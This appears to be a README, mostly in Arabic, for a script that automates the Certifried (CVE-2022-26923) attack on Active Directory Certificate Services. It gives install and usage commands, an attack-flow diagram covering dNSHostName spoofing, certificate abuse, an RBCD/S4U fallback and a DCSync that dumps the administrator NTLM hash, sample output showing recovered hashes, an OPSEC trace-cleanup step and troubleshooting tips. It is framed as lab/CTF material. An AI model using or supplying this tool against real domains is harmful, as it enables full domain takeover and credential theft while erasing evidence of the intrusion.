
Automated CVE-2022-26923 Exploitation (Certifried)
استغلال آلي لثغرة CVE-2022-26923 (Certifried)، يتيح تصعيد الصلاحيات عبر إساءة استخدام خدمات الشهادات في Active Directory (AD CS)، مع آلية تراجع تلقائية إلى التفويض المقيد القائم على الموارد (RBCD)، ليقوم في النهاية باستخراج تجزئة NTLM لحساب مسؤول النطاق.
⚠️ لأغراض تعليمية فقط / بيئة مختبر / CTF
لا تستخدمه في بيئات غير مصرح بها.
يقوم هذا السكربت بأتمتة سلسلة الهجوم التالية:
dNSHostName لمطابقة وحدة تحكم النطاقsecretsdump.py بالاعتماد على تجزئة DCbloodyADimpacket-addspngetST.pysecretsdump.py باستخدام تذكرة KerberosdNSHostName، مما يدفع المرجع المصدق CA إلى إصدار شهادة لحساب DCpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP address of the Domain Controller
-D, --domain Domain name (e.g. corp.local)
-u, --user Valid domain user (UPN format: user@domain)
-p, --pass User password
--verbose Debug mode: display all executed commands
-h, --help Show this help message
./CVE-2022-26923.sh \
-d 10.129.227.189 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
نصيحة: قبل التشغيل، حدّد اسم المرجع المصدق CA والقالب بدقة باستخدام:
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdoutثم حدّث
CA_NAMEوTEMPLATEفي القيم الافتراضية للسكربت وفقًا لذلك.
اعتمادًا على البيئة، سينجح أحد المسارين التاليين:
الطريقة 1 (الكلاسيكية):
[5] Classic authentication attempt (Recovering DC hash)... [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...
[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::
الطريقة 2 (تراجع RBCD):
[5] Classic authentication attempt (Recovering DC hash)... [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...
[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::
يتم تشغيل تنظيف OPSEC تلقائيًا في النهاية (أو عند الضغط على Ctrl+C):
[*] Starting trace cleanup (OPSEC)...
[OK] Cleanup complete.
Random Machine Account Creation (e.g. PWN8472$)
↓
dNSHostName Spoofing → dc.domain.local
↓
Dynamic LDAP Sync Verification (polling)
↓
Certificate Request via RPC (Machine Template)
[NETBIOS timeout auto-retry up to 5x]
↓
┌─────────────────────────────────────────┐
│ METHOD 1 — CLASSIC │
│ certipy-ad auth -pfx dc.pfx │
│ → DC NTLM hash via PKINIT │
│ → DCSync via secretsdump │
└────────────────┬────────────────────────┘
│ [FAILS]
▼
┌─────────────────────────────────────────┐
│ METHOD 2 — RBCD FALLBACK │
│ PFX → PEM conversion (openssl) │
│ bloodyAD: add rbcd dc$ COMP$ │
│ impacket-addspn: SPN on COMP$ │
│ getST: S4U2Self + S4U2Proxy (cifs/) │
│ secretsdump via KRB5 ticket │
└─────────────────────────────────────────┘
↓
OPSEC Cleanup (trap EXIT/INT/TERM)
- Remove RBCD attribute on DC
- Delete machine account (COMP$)
- Wipe local PFX / PEM / ccache files
هذا المشروع مقدم من أجل:
لا يتحمل المؤلف أي مسؤولية عن أي استخدام غير مصرح به أو غير قانوني لهذه الأداة.
| الأداة | الغرض |
|---|
certipy-ad | إنشاء/تحديث الحساب، طلب الشهادة، مصادقة PKINIT |
bloodyAD | التلاعب بسمة RBCD (تراجع) |
impacket-addspn | إضافة SPN على حساب الجهاز (تراجع) |
impacket-getST | طلب تذكرة S4U2Self + S4U2Proxy (تراجع) |
impacket-secretsdump | DCSync / استخراج تجزئة NTLM |
openssl | تحويل PFX → PEM (تراجع) |
| العَرَض | السبب | الحل |
|---|
NETBIOS connection timed out | تأخر استجابة RPC الخاصة بـ AD CS على HTB | يتم التعامل معه تلقائيًا (5 محاولات) |
KDC_ERR_BADOPTION عند getST | عدم وجود SPN على COMP$ | يستخدم السكربت الآن impacket-addspn قبل getST |
KDC_ERR_WRONG_REALM عند secretsdump | SPN خاطئ (LDAP مقابل cifs) | يستخدم السكربت SPN بصيغة cifs/ لـ getST |
Clock skew too great | انحراف وقت Kerberos | نفّذ sudo ntpdate <DC_IP> قبل التشغيل |
| فشل حذف حساب الجهاز | صلاحيات AD غير كافية (أمر طبيعي) | يتجاهله السكربت برشاقة عبر || true |
unrecognized arguments مع certipy-ad | صيغة غير صحيحة (صيغة certipy القديمة) | يستخدم السكربت وسومًا صريحة -u/-p/-target-ip |